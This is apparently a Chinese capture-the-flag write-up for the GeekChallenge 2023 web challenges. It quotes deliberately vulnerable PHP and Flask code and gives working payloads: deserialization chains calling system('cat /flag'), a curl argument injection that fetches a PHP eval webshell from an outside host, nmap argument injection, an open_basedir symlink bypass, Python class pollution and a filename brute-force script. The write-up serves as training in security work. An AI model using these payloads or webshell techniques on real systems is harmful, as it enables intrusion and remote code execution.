GeekChallenge[2023] - WEB WP
EzHttp
签到题,跟着网页的提示一步一步走
检查网页发现注释提示了用户名和密码的位置
关键词 不想让爬虫获取到的地方
,联想到robots.txt
获取到用户名和密码
必须来源自sycsec.com,则是header里的Referer值为sycsec.com
使用Syclover浏览器,则是User-Agent的值为Syclover
请从localhost访问,则是X-Forwarded-For
设置为127.0.0.1
(不知道为啥Client-ip没用,也不知道为啥不能设置为localhost)
请使用Syc.vip代理,则是设置Via为Syc.vip
此时看到了php代码
<?php
if($_SERVER['HTTP_O2TAKUXX']=="GiveMeFlag"){
echo $flag;
}
?>
增加一个header
名O2TAKUXX
并赋值为GiveMeFlag
即可拿到flag,最终payload如图:
<summary>flag</summary>
SYC{HttP_1s_E@sY}
unsign
访问地址,得到如下代码:
<?php
highlight_file(__FILE__);
class syc
{
public $cuit;
public function __destruct()
{
echo("action!<br>");
$function=$this->cuit;
return $function();
}
}
class lover
{
public $yxx;
public $QW;
public function __invoke()
{
echo("invoke!<br>");
return $this->yxx->QW;
}
}
class web
{
public $eva1;
public $interesting;
public function __get($var)
{
echo("get!<br>");
$eva1=$this->eva1;
$eva1($this->interesting);
}
}
if (isset($_POST['url']))
{
unserialize($_POST['url']);
}
?>
格式化字符串的题,分析代码后,构造payload的代码如下:
<?php
#error_reporting(0);
class web
{
public $eva1="system";
public $interesting = "cat /flag";
}
class lover
{
public $yxx;
public $QW;
public function __construct()
{
$this->yxx=new web();
}
}
class syc
{
public $cuit;
public function __construct()
{
$this->cuit=new lover();
}
}
$c=new syc();
echo serialize($c);
payload如下:
O:3:"syc":1:{s:4:"cuit";O:5:"lover":2:{s:3:"yxx";O:3:"web":2:{s:4:"eva1";s:6:"system";s:11:"interesting";s:9:"cat /flag";}s:2:"QW";N;}}
<summary>flag</summary>
SYC{OccjrAwuRXTpo3Xypu}
n00b_Upload
过了,但是忘记怎么过的了(x 有空再写
easy_php
打开题目,代码已经出现,分析代码
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__FILE__);
include_once('flag.php');
if(isset($_GET['syc'])&&preg_match('/^Welcome to GEEK 2023!$/i', $_GET['syc']) && $_GET['syc'] !== 'Welcome to GEEK 2023!') {
if (intval($_GET['lover']) < 2023 && intval($_GET['lover'] + 1) > 2024) {
if (isset($_POST['qw']) && $_POST['yxx']) {
$array1 = (string)$_POST['qw'];
$array2 = (string)$_POST['yxx'];
if (sha1($array1) === sha1($array2)) {
if (isset($_POST['SYC_GEEK.2023'])&&($_POST['SYC_GEEK.2023']="Happy to see you!")) {
echo $flag;
} else {
echo "再绕最后一步吧";
}
} else {
echo "好哩,快拿到flag啦";
}
} else {
echo "这里绕不过去,QW可不答应了哈";
}
} else {
echo "嘿嘿嘿,你别急啊";
}
}else {
echo "不会吧不会吧,不会第一步就卡住了吧,yxx会瞧不起你的!";
}
?>
第一个if的条件为
isset($_GET['syc'])&&preg_match('/^Welcome to GEEK 2023!$/i', $_GET['syc']) && $_GET['syc'] !== 'Welcome to GEEK 2023!'
需要请求中有syc且满足正则匹配为Welcome to GEEK 2023!
但是又不能完全等于,因为/i
结尾,意味着正则匹配忽略大小写,故payload的第一部分?syc=welcome to GEEK 2023!
即可绕过
第二个if的条件为
intval($_GET['lover']) < 2023 && intval($_GET['lover'] + 1) > 2024
又是考察intval,这里使用科学计数法绕过,当函数中用字符串
方式表示科学计数法时,函数的返回值是科学计数法前面的一个数,而对于科学计数法加数字则会返回科学计数法的数值
echo intval('0x7e70')
echo intval('0x7e70' + 1)
所以payload的第二部分为&lover=0x7e70
第三部分
if (isset($_POST['qw']) && $_POST['yxx']) {
$array1 = (string)$_POST['qw'];
$array2 = (string)$_POST['yxx'];
if (sha1($array1) === sha1($array2))
经典sha1(md5等)加密相等,可以硬碰撞,但是更推荐使用数组绕过,所以payload的第三部分为qw[]=1&yxx[]=2
(注意这里需要用POST了)
第四部分为
isset($_POST['SYC_GEEK.2023'])&&($_POST['SYC_GEEK.2023']="Happy to see you!"
这个部分重点如何构造点或者说如何保留.
,根据php的规则,会自动转换请求中的非法字符为_
,但是只会转换第一个,所以将前一个_
用非法字符替换,让PHP自动转换,从而保留后面的.
,因此payload的第四部分为&SYC[GEEK.2023=Happy to see you!
拿到flag
flag:SYC{r5z4F7v5qCfWbk9kyi}
ctf_curl
打开题目,代码已经展示出来了
<?php
highlight_file('index.php');
// curl your domain
// flag is in /tmp/Syclover
if (isset($_GET['addr'])) {
$address = $_GET['addr'];
if(!preg_match("/;|f|:|\||\&|!|>|<|`|\(|{|\?|\n|\r/i", $address)){
$result = system("curl ".$address."> /dev/null");
} else {
echo "Hacker!!!";
}
}
?>
分析代码可知,让addr符合preg_match
的要求就可以搞定
?addr=-o%20/var/www/html/test.php%20*.*.*.*/test.php
<?php
eval($_GET['code']);
再根据题目提示,直接去读取flag
flag:SYC{o0eQplkHvImI9lcNWq}
klf_ssti
脚本小子.jpg
使用sstimap盲注,然后反弹一下shell
ez_remove
打开题目就能看到代码
<?php
highlight_file(__FILE__);
class syc{
public $lover;
public function __destruct()
{
eval($this->lover);
}
}
if(isset($_GET['web'])){
if(!preg_match('/lover/i',$_GET['web'])){
$a=unserialize($_GET['web']);
throw new Error("快来玩快来玩~");
}
else{
echo("nonono");
}
}
?>
考点:1. 格式化使用其他格式绕过preg_match
匹配
- 因为后面有
throw new Error
因此需要用到_fast_destruct
机制,提前触发结构体的销毁 - 它限制了
open_basedir
这也要绕过!
Payload1:
?web=O:3:"syc":1:{S:5:"\6cover";s:10:"phpinfo();";
查看到
Payload2:
?web=O:3:"syc":1:{s:5:"lover";s:30:"print_r(scandir('glob:///*'));";
找到flag的位置
payload3:
?web=O:3:"syc":1:{S:5:"\6cover";s:223:"mkdir("A");chdir("A");mkdir("B");chdir("B");mkdir("C");chdir("C");mkdir("D");chdir("D");chdir("..");chdir("..");chdir("..");chdir("..");symlink("A/B/C/D","SD");symlink("SD/../../../../f1ger","POC");unlink("SD");mkdir("SD");";
最后访问/POC,拿到flag
flag:SYC{UIE873q4BTmOCS2K0d}
ez_path
打开网页可以看到注释
然后到下方,下载到源码的pyc使用uncompyle6反编译,得到源码为
# uncompyle6 version 3.9.0
# Python bytecode version base 3.6 (3379)
# Decompiled from: Python 3.6.13 |Anaconda, Inc.| (default, Mar 16 2021, 11:37:27) [MSC v.1916 64 bit (AMD64)]
# Embedded file name: ./tempdata/96e9aea5-79fb-4a2f-a6b9-d4f3bbf3c906.py
# Compiled at: 2023-08-26 01:33:29
# Size of source mod 2**32: 2076 bytes
import os, uuid
from flask import Flask, render_template, request, redirect
app = Flask(__name__)
ARTICLES_FOLDER = 'articles/'
articles = []
class Article:
def __init__(self, article_id, title, content):
self.article_id = article_id
self.title = title
self.content = content
def generate_article_id():
return str(uuid.uuid4())
@app.route('/')
def index():
return render_template('index.html', articles=articles)
@app.route('/upload', methods=['GET', 'POST'])
def upload():
if request.method == 'POST':
title = request.form['title']
content = request.form['content']
article_id = generate_article_id()
article = Article(article_id, title, content)
articles.append(article)
save_article(article_id, title, content)
return redirect('/')
else:
return render_template('upload.html')
@app.route('/article/<article_id>')
def article(article_id):
for article in articles:
if article.article_id == article_id:
title = article.title
sanitized_title = sanitize_filename(title)
article_path = os.path.join(ARTICLES_FOLDER, sanitized_title)
with open(article_path, 'r') as (file):
content = file.read()
return render_template('articles.html', title=sanitized_title, content=content, article_path=article_path)
return render_template('error.html')
def save_article(article_id, title, content):
sanitized_title = sanitize_filename(title)
article_path = ARTICLES_FOLDER + '/' + sanitized_title
with open(article_path, 'w') as (file):
file.write(content)
def sanitize_filename(filename):
sensitive_chars = [
"':'", "'*'", "'?'", '\'"\'', "'<'", "'>'", "'|'", "'.'"]
for char in sensitive_chars:
filename = filename.replace(char, '_')
return filename
if __name__ == '__main__':
app.run(debug=True)
# okay decompiling result.pyc
可以看到第36行与第37行,upload的内容是先保存到内存中,再写入到文件里,因此不管名字是否会被过滤,在内存中的名字都会是你输入的名字,而读取确实从文件中读取。在配合os.join如果出现了绝对值,则会从绝对路径中读取,那么payload如下:
得到flag
flag:SYC{CImmOeGETJqIV9iA7k}
you konw flask?
没来得及写
Puppy_rce
打开题目,看到代码:
<?php
highlight_file(__FILE__);
header('Content-Type: text/html; charset=utf-8');
error_reporting(0);
include(flag.php);
//当前目录下有好康的😋
if (isset($_GET['var']) && $_GET['var']) {
$var = $_GET['var'];
if (!preg_match("/env|var|session|header/i", $var,$match)) {
if (';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $var)){
eval($_GET['var']);
}
else die("WAF!!");
} else{
die("PLZ DONT HCAK ME😅");
}
}
分析代码,分析个锤子,干
?var=print_r(scandir(getcwd()));
发现当前目录下确实有好康的
直接访问.jpg
flag:SYC{NdyxvNgAy3M6ai2JQj}
雨
nodejs原型链污染,泰哥讲过了
famale_imp_l0ve
先把知识点放这里,有空接着写,php伪协议相关
先记一下薅下来的源码(
Upload_file.php
<?php
header("Content-type:text/html;charset=utf-8");
//白名单
$ext_arr = array('zip');
$file_ext = substr($_FILES['file']['name'],strrpos($_FILES['file']['name'],".")+1);
//判断filename是否为空
$file = empty($_POST['filename']) ? $_FILES['file']['name'] : $_POST['filename'];
//判断filename的后缀是不是在黑名单
$name = basename($_POST['filename']);
$filename_ext= pathinfo($name,PATHINFO_EXTENSION);
$filename=$_FILES['file']['name'];
if(in_array($file_ext,$ext_arr)){
//检测文件后缀
echo "后缀过了<br>";
//整个文件内容检测
if (file_exists("upload/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " 文件已经存在。 ";
}
else
{
// 如果 upload 目录不存在该文件则将文件上传到 upload 目录下
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]);
echo "文件存储在: " . "upload/" . $filename;
}
}
else{
echo "必须上传.zip哦";
}
?>
<html>
<head>
<title>文件检测系统</title>
</head>
<body>
<!-- 图片展示区域 -->
<div>
<img src="慈孝鬼.jpg" width="400" height="auto">
</div>
</body>
</html>
index.php
<?php
//o2takuXX师傅说有问题,忘看了。
header('Content-Type: text/html; charset=utf-8');
highlight_file(__FILE__);
$file = $_GET['file'];
if(isset($file) && strtolower(substr($file, -4)) == ".jpg"){
include($file);
}
?> <html>
<head>
<meta charset="utf-8">
<title>简单的文件上传</title>
</head>
<body>
<form action="upload_file.php" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<!--<label><input type="text" name="filename" value="请输入你的文件名"></lable>-->
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
<br>懒得换前端了😋</br>
<br>o2takuXX师傅说压缩了一定安全😋</br>
<!--/include.php文件已废弃,只接受上传文件-->
</form>
<!-- 图片展示区域 -->
<div>
<img src="雌小鬼.jpg" width="400" height="auto">
</div>
</body>
</html>
Include.php
<?php
//o2takuXX师傅说有问题,忘看了。
header('Content-Type: text/html; charset=utf-8');
highlight_file(__FILE__);
$file = $_GET['file'];
if(isset($file) && strtolower(substr($file, -4)) == ".jpg"){
include($file);
}
?>
scan_tool
搜了一下,应该是模仿 网鼎杯 2020 朱雀组 的那道 Nmap
此题他做了更多的过滤,基础的<?php <?= -iL(空格) -oN
等都被过滤了
但是,他是执行前过滤,也就是说只要绕开了escapeshellarg
和escapeshellcmd
就可以执行了
在查询资料的时候发现,如果escapeshellarg
和escapeshellcmd
如果没有制定字符集,那么就默认是ASCII
,对于非ASCII
的字符就会直接忽略,因此在被拦截的关键词处加入非ASCII字符就可以绕过了。
最后的payload
' -iLā /flag -oāN test123.phtml '
ezpython
python版原型链污染,先来看源码
import json
import os
from waf import waf
import importlib
from flask import Flask,render_template,request,redirect,url_for,session,render_template_string
app = Flask(__name__)
app.secret_key='jjjjggggggreekchallenge202333333'
class User():
def __init__(self):
self.username=""
self.password=""
self.isvip=False
class hhh(User):
def __init__(self):
self.username=""
self.password=""
registered_users=[]
@app.route('/')
def hello_world(): # put application's code here
return render_template("welcome.html")
@app.route('/play')
def play():
username=session.get('username')
if username:
return render_template('index.html',name=username)
else:
return redirect(url_for('login'))
@app.route('/login',methods=['GET','POST'])
def login():
if request.method == 'POST':
username=request.form.get('username')
password=request.form.get('password')
user = next((user for user in registered_users if user.username == username and user.password == password), None)
if user:
session['username'] = user.username
session['password']=user.password
return redirect(url_for('play'))
else:
return "Invalid login"
return redirect(url_for('play'))
return render_template("login.html")
@app.route('/register',methods=['GET','POST'])
def register():
if request.method == 'POST':
try:
if waf(request.data):
return "fuck payload!Hacker!!!"
data=json.loads(request.data)
if "username" not in data or "password" not in data:
return "连用户名密码都没有你注册啥呢"
user=hhh()
merge(data,user)
registered_users.append(user)
except Exception as e:
return "泰酷辣,没有注册成功捏"
return redirect(url_for('login'))
else:
return render_template("register.html")
@app.route('/flag',methods=['GET'])
def flag():
user = next((user for user in registered_users if user.username ==session['username'] and user.password == session['password']), None)
if user:
if user.isvip:
data=request.args.get('num')
if data:
if '0' not in data and data != "123456789" and int(data) == 123456789 and len(data) <=10:
flag = os.environ.get('geek_flag')
return render_template('flag.html',flag=flag)
else:
return "你的数字不对哦!"
else:
return "I need a num!!!"
else:
return render_template_string('这种神功你不充VIP也想学?<p><img src="{{url_for(\'static\',filename=\'weixin.png\')}}">要不v我50,我送你一个VIP吧,嘻嘻</p>')
else:
return "先登录去"
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
if __name__ == '__main__':
app.run(host="0.0.0.0",port="8888")
分析代码可知,几个关键点,merge
、flag
函数和User
类
分析flag
函数,可知,想要拿到flag,有两个步骤,user是vip,然后请求中带有num并满足判断条件
第二个可以利用(空格)123456789
在python中强制转换是会被忽略轻易绕过
而第一个则是与nodejs中的原型链污染一样,靠向上一级污染就可以了
但是这道题实际上是在请求的时候过滤了isvip
字段,于是直接使用unicode
编码绕过即可
注册payload如下
payload = {
"username": "test",
"password": "test",
"__class__" : {
"__base__" : {
"\u0069\u0073\u0076\u0069\u0070" : true
}
}
}
参考文献:https://tttang.com/archive/1876
Akane!
<?php
error_reporting(0);
show_source(__FILE__);
class Hoshino
{
public $Ruby;
private $Aquamarine;
public function __destruct()
{
$this->Ruby->func();
}
}
class Idol
{
public $Akane;
public function __wakeup()
{
$this->Akane = '/var/www/html/The************************.php';
}
public function __call($method,$args)
{
$Kana = count(scandir($this->Akane));
if ($Kana > 0) {
die('Kurokawa Akane');
} else {
die('Arima Kana');
}
}
}
$a = unserialize(base64_decode($_GET['tuizi']));
?>
又是一个序列化问题
<?php
class Idol {
public $Akane = "glob://The************************.php";
}
class Hoshino {
public $Ruby;
public function __construct()
{
$this->Ruby = new Idol();
}
}
$c = new Hoshino();
echo serialize($c);
生成了基础的payload
O:7:"Hoshino":1:{s:4:"Ruby";O:4:"Idol":1:{s:5:"Akane";s:38:"glob://The************************.php";}}
为了绕过wakeup,这里采用触发fast-destruct
修改payload中的值为
O:7:"Hoshino":1:{s:4:"Ruby";O:4:"Idol":2:{s:5:"Akane";s:38:"glob://The************************.php";}}
然后利用scandir扫描glob中*为通配符,存在的统计值大于1不存在则为0来猜测文件名
不直接使用地址,是因为scandir会有.
和..
会使扫描值始终大于0无法判断
import requests
import base64
# 字符集,包含0-9和a-z
char_set = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
# 初始字符串
template_str = 'O:7:"Hoshino":1:{s:4:"Ruby";O:4:"Idol":2:{s:5:"Akane";s:38:"glob://The************************.php";}}'
# 发起请求的URL
url = 'https://f5o3salnhm6u9jxly3ygv0nm0.node.game.sycsec.com/'
def replace_star(template, index, char):
"""
替换字符串中指定索引位置的星号(*)字符
"""
return template[:index] + char + template[index+1:]
def make_request(url, param):
"""
发起GET请求并返回响应内容
"""
response = requests.get(url, params={'tuizi': base64.b64encode(param.encode()).decode()})
return response.text
def find_next_star(template, start=0):
"""
找到字符串中下一个星号的位置
"""
return template.find('*', start)
def try_replacements(template, index):
"""
递归地尝试替换星号并进行请求,直到找到正确的字符序列
"""
if index == -1:
# 没有星号要替换,输出结果
print("Completed string:", template)
return True
for char in char_set:
# 替换当前星号
new_template = replace_star(template, index, char)
# 发起请求
response_content = make_request(url, new_template)
# 根据响应内容决定下一步
if response_content.endswith('Kana'):
# 如果以'Kana'结尾,尝试下一个字符
continue
elif response_content.endswith('Akane'):
# 如果以'Akane'结尾,移动到下一个星号
next_index = find_next_star(new_template, index + 1)
if try_replacements(new_template, next_index):
return True
else:
# 如果响应不是预期的结尾,跳过当前字符
continue
return False
def main(template_str, url):
# 找到第一个星号的位置
first_star_index = find_next_star(template_str)
# 开始替换过程
try_replacements(template_str, first_star_index)
if __name__ == "__main__":
main(template_str, url)